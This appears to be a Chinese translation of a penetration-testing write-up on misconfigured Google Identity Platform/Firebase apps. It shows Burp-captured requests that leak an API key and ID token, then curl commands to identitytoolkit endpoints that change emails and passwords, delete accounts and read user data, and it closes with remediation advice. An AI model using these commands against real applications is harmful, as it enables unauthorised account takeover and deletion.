利用Google Cloud Identity Platform 中的弱配置

渗透技巧 2年前 (2022) admin
680 0 0

本文为译文,原文链接为:

https://blog.appsecco.com/exploiting-weak-configurations-in-google-identity-platform-cbddbd0e71e3

与 Amazon Cognito 类似,Google Cloud Platform 托管了一项名为 Identity Platform 的服务。Identity Platform 是一个客户身份和访问管理 (CIAM) 平台,可帮助组织为其应用程序添加身份和访问管理功能、保护用户帐户并在 Google Cloud 上放心使用。

在我们的 Web 应用程序安全评估活动期间,我们遇到了一些使用Identity Platform的应用程序。通常,应用程序中经过身份验证的用户通常应仅被授权访问 Web 应用程序提供的功能。通常不应该允许用户在 Firebase 身份验证后端系统上直接查询。但是,我们发现了一个 Web 应用程序,该应用程序允许其用户使用从服务器响应中检索到的 API 密钥和 Firebase 身份验证令牌在 Firebase 身份验证后端运行搜索、更新和删除查询。

下图是包含泄漏令牌的响应包


利用Google Cloud Identity Platform 中的弱配置


在我们继续使用身份平台之前,了解Firebase和身份平台之间的紧密关系十分重要。

Firebase和Identity platform是两种不同的服务,但事实证明,Identity Platform是利用Firebase进行工作。


Jen Person 的介绍


我承认,确定Google Cloud和Firebase之间的关系是具有挑战性的。我过于简化的解释是,Firebase是从客户端应用程序访问某些Google Cloud Platform产品的方式。特别是对于身份平台,此解释效果很好。借助 Firebase 身份验证 SDK,您可以从客户端应用访问身份平台功能。

将 Identity Platform 添加到 Google Cloud 项目时,系统会自动创建一个 Firebase 项目。这是Firebase/Cloud关系中难以理解的实例之一。当您开始创建 Firebase 项目时,这也是一个云项目,但云项目不一定是 Firebase 项目,除非您激活某些服务或将该项目导入 Firebase。— 作者 Jen Person


利用Google Cloud Identity Platform 中的弱配置


检测配置错误的身份平台


确定应用程序是否正在使用“googleapis.com”进行身份验证。如果应用程序没有安全编码,那么您可能会在HTTP请求和响应中找到 googleapis.com 相关的API,“access_token”,“idToken”,“refresh_token”等。

接下来,请在HTML下保存并运行,并使用Burp Suite抓包工具捕获HTTP请求和响应。您就会注意到响应包中apiKey、access_token 和 idToken三个参数。


在运行以下 HTML 之前,请为项目启用并配置标识平台,然后从“Identity Platform”仪表板复制“应用程序设置详细信息”。有关使用标识平台设置第一个项目的详细文档,请参阅参考资料中的链接。


利用Google Cloud Identity Platform 中的弱配置


以下是应用程序设置详细信息


利用Google Cloud Identity Platform 中的弱配置


不要忘记在下面的 HTML 代码中将 apiKey、authDomain、email 和 password 替换为您的值。

HTML Code


<html>  <head>    <title>Sample App</title>    <script src="https://www.gstatic.com/firebasejs/8.2.6/firebase.js"></script>    <script>      var config = {        apiKey: "AIzaSyCy-6G2SQQfWWC9AAXXXXXXXXXXXXXXXXX",        authDomain: "login-page-XXXXXX.firebaseapp.com",      };      firebase.initializeApp(config);    </script>    <script src="https://www.gstatic.com/firebasejs/ui/4.7.3/firebase-ui-auth.js"></script>    <link type="text/css" rel="stylesheet" href="https://www.gstatic.com/firebasejs/ui/4.7.3/firebase-ui-auth.css" />  </head>
 <body>    <div>Identity Platform Quickstart</div>    <div id="message">Loading...</div>
   <script>        var email = "[email protected]";        var password = "password";              firebase.auth().onAuthStateChanged(function(user) {          if (user) {            document.getElementById("message").innerHTML = "Welcome, " + user.email;          } else {            document.getElementById("message").innerHTML = "No user signed in.";          }        });              firebase.auth().signInWithEmailAndPassword(email, password).catch(function(error) {          document.getElementById("message").innerHTML = error.message;        });      </script>  </body></html>


利用 FirebaseUI Demo App 中的漏洞


为了便于理解和跟进,我们使用了由 FirebaseUI 托管的 Web 版演示应用程序,网址为 

https://fir-ui-demo-84a6c.firebaseapp.com/


利用Google Cloud Identity Platform 中的弱配置


它允许用户使用各种联合身份登录,例如Google,Facebook,Github等等。使用任何联合身份登录到此应用程序后。用户可以注销或删除帐户。


利用Google Cloud Identity Platform 中的弱配置


此应用程序节省了大量时间,因为它具有我们想要利用的错误配置,并且通过不开发新的整个应用程序进行实践来帮助节省成本

我们将使用Burp Suite作为拦截代理工具来拦截泄露的令牌。配置 Burp Suite 并确保它拦截浏览器和应用程序服务器之间的流量。

使用Google Identity提供商登录应用程序并监控Burp Suite HTTP历史记录流量。识别对关键参数’/identitytoolkit/v3/relyingparty/verifyAssertion?key=’ 发出的 POST 请求

请求将如下所示

Request


POST /identitytoolkit/v3/relyingparty/verifyAssertion?key=AIzaSyBTOVItkDbx63M2vUxxxxxxxxxxxxx HTTP/1.1Host: www.googleapis.comUser-Agent: Mozilla/5.0 ….X-Firebase-Locale: en — -snipped — -{“requestUri”:”https://fir-ui-demo-84a6c.firebaseapp.com/__/auth/handler?state=AMbdmDlNfk0MbuThErLb3J1DkRoHg6CBmOWg7b7pu7gEq3mIqpmBzVdwBk-mDJ7Lvw1Cb95CQCelKeUwCzRGtExglSL9IYp4qy0mWsRn3JzBJF7LpuM6Vu3zwkUDUH-shxcj4ka5xI2HzlpwI---snipped---Response


Response


HTTP/1.1 200 OKPragma: no-cacheCache-Control: no-cache, no-store, max-age=0, must-revalidate---snipped---{"federatedId": "https://accounts.google.com/116382571503235019370",---snipped---"idToken": "eyJhbGciOiJSUzI1NiIsImtpZCI---snipped---F1BFA06dHakwWOR3ZXcP4SiPlKSvxlwcFQv9c_sc3V3I-OdVyeVW4Z_q3oVG1W2YpSCcxMUmpktA9z4Mz93NOQ3bDowywWxzXoCSt5Ldvv9DBGxLhChmCwGnpehKCyCNwg3DOMvB9u1pJr2ujX-f6LKiIdYavnQ","context": "","oauthAccessToken": "ya29.a0AfH6SMBsFmqQToht57xUgNDFZy....","oauthExpireIn": 3598,"refreshToken": "AOvuKvT-F3t4A54omiwFCJ2hctCb61W......","expiresIn": "3600","oauthIdToken": "eyJhbGciOiJSUzI1N.....UqZ39m-ZMOQPw",---snipped---


利用配置错误

复制请求中的 apiKey 值和响应中的 idToken 并运行以下 cURL 命令以发出 HTTP 请求以更改登录用户的电子邮件地址。该应用程序只允许用户删除或退出,但我们将运行以下 cURL 命令来更改不是授权请求的用户电子邮件。

注意:参考参考资料中的谷歌云链接了解下面的 cURL


curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=AIzaSyBTOVItkDbx63M2xxxxxxxxxxxxxxxxx' -H 'Content-Type: application/json' --data-binary '{"idToken":"eyJhbGci9iJSUgI1NiIsXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXQifQ.eyJuYW1lIjoiUGFua2FqIE1vdXJpeWEiLCJwaWN0dXJlIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EtL0FPXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXuY29tIjpbIjExNjM4MjU3MTUwMzIzNTAxOTM3MCJdLCJlbWFpbCI6WyJ1c2VyMjIyMjJAZ21haWwuY29tIl19LCJzaWduX2luX3Byb3ZpZGVyIjoiZ29vZ2xlLmNvbSJ9fQ.kjwZ6kufRXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXTU1RC0QN04sk9STeCX8UYKr1ffphydYrVma2n0B66NOvOOK01JsyufcTQ1iENaIrxl9CH0mc8PWplqSev37AeczdUC6NTKTzlG1Uj5Gusx2vN6M_x06JiC2oGdnYdRQJfcHHEiYA-mTDIzDn17pebXdJR5U-UgrUeytxG-mqsjwHYkU5N_Zv51gbQ","email":"[email protected]","returnSecureToken":true}'


更新用户电子邮件地址


利用Google Cloud Identity Platform 中的弱配置


Response


利用Google Cloud Identity Platform 中的弱配置


FirebaseUI 中的新电子邮件


利用Google Cloud Identity Platform 中的弱配置


假设应用程序使用类似功能仅用于身份验证,但不允许用户使用 Web 应用程序执行任何其他活动。拥apikey和 idToken的用户仍然可以使用以下 cURL命令进行 REST API 调用并执行诸如“读取”、“更新”、“创建”和“删除”等操作。

若要了解有关常见用户操作(如登录用户、删除帐户和使用令牌)的更多信息,请使用身份平台 REST API,请参阅参考资料中的链接


  • 通过向 Auth deleteAccount API发出 HTTP POST 请求来删除当前用户。


 curl 'https://identitytoolkit.googleapis.com/v1/accounts:delete?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]"}'


  • 通过向 Auth setAccountInfo API发出 HTTP POST 请求来更改用户的电子邮件。


curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]","email":"[[email protected]]","returnSecureToken":true}'


  • 通过向 Auth setAccountInfo 端点发出 HTTP POST 请求来更改用户的密码。


'{"idToken":"[FIREBASE_ID_TOKEN]","password":"[NEW_PASSWORD]","returnSecureToken":true}'


  • 通过向 Auth setAccountInfo API发出 HTTP POST 请求来更新用户的个人资料(显示名称/照片 URL)。


curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[ID_TOKEN]","displayName":"[NAME]","photoUrl":"[URL]","returnSecureToken":true}'


  • 通过向 Auth getAccountInfo API发出 HTTP POST 请求来获取用户的数据。


curl 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[FIREBASE_ID_TOKEN]"}'


  • 通过向 Auth setAccountInfo API发出 HTTP POST 请求,将电子邮件/密码链接到当前用户。


curl 'https://identitytoolkit.googleapis.com/v1/accounts:update?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"idToken":"[ID_TOKEN]","email":"[[email protected]]","password":"[PASS]","returnSecureToken":true}'


  • 通过向 Auth verifyAssertion API发出 HTTP POST 请求,将 OAuth 凭据链接到用户。


curl 'https://identitytoolkit.googleapis.com/v1/accounts:signInWithIdp?key=[API_KEY]' -H 'Content-Type: application/json' --data-binary '{"postBody":"id_token=[GOOGLE_ID_TOKEN]&providerId=[google.com]","requestUri":"[http://localhost]","idToken":"[FIREBASE_ID_TOKEN]","returnIdpCredential":true,"returnSecureToken":true}'


修复方案


不要在服务器响应中返回不必要的数据,特别是如果它们本质上是敏感的,例如客户端不直接使用的 API 密钥和令牌。

如果服务器响应中必须包含敏感数据,则使用强加密算法对此类数据进行加密,并使用强加密密钥保护机制



【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

利用Google Cloud Identity Platform 中的弱配置


【相关精选文章】


利用Google Cloud Identity Platform 中的弱配置


利用Google Cloud Identity Platform 中的弱配置


利用Google Cloud Identity Platform 中的弱配置

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


利用Google Cloud Identity Platform 中的弱配置

//  火线Zone //

微信号 : huoxian_zone


利用Google Cloud Identity Platform 中的弱配置

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):利用Google Cloud Identity Platform 中的弱配置

版权声明:admin 发表于 2022年7月27日 下午6:08。
转载请注明:利用Google Cloud Identity Platform 中的弱配置 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...